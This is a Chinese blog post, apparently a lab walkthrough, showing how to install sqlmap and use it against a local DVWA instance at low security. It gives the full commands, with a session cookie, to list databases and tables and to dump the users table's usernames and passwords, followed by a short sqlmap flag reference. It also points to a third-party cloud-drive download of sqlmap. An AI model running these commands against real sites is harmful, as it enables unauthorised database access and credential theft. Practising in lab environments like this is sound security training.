导航：首页 > 数据库 >

记一次初级dvwa爆库

发表于：2025-11-08 作者：千家信息网编辑

千家信息网最后更新 2025年11月08日，一前期准备1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可https://www.python.org/2 安装python2.7，默认即可。安装完成后

千家信息网最后更新 2025年11月08日记一次初级dvwa爆库

一前期准备

1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可

https://www.python.org/

2 安装python2.7，默认即可。安装完成后需要配置下环境变量。右击计算机->高级系统设置->环境变量，找到系统变量的Path选项，双击，在最后添加;C:\Python27"；"必须要有，如果有其他python，可以删掉。这是我的安装路径。

3 按windows+R，输入cmd打开dos界面，输入python进行测试python是否安装成功。

返回python版本号，安装成功

4 下载sqlmap，可以到我的百度云下载:http://pan.baidu.com/s/1skPClzR 密码：ndpj。

解压后，改名为sqlmap，放到磁盘中

5 打开cmd，切换到sqlmap对应磁盘

6 至此，sqlmap安装完毕

二开始爆库

1 将dvwa安全级别设置为low，采用的是cookie注入。点击sql注入，使用burpsuite抓包拿cookie

2 url和cookie都需要使用，打开刚才开的cmd，键入

Sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" --risk 3 --level 5 ,中途出现选择项直接回车

3 明显看到有mysql数据库，先将数据库显示出来sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" --dbs

4 可以看到有几个数据库，然后选择dvwa数据库，列表名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa --tables

5 出现两个表名，肯定有用的是users表名，然后暴列名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users --columns

6 看到了很多列名，最有用的当然是用户和密码了，导出用户和密码

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users -C user,password,user_id --dump

7 好了至此完毕，接下来是sqlmap的命令解释大全

-u #注入点

-g 谷歌搜索

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p "page,id")

-D "" #指定数据库名

-T "" #指定表名

-C "" #指定字段

-s "" #保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s "xx.log"　　恢复:-s "xx.log" -resume)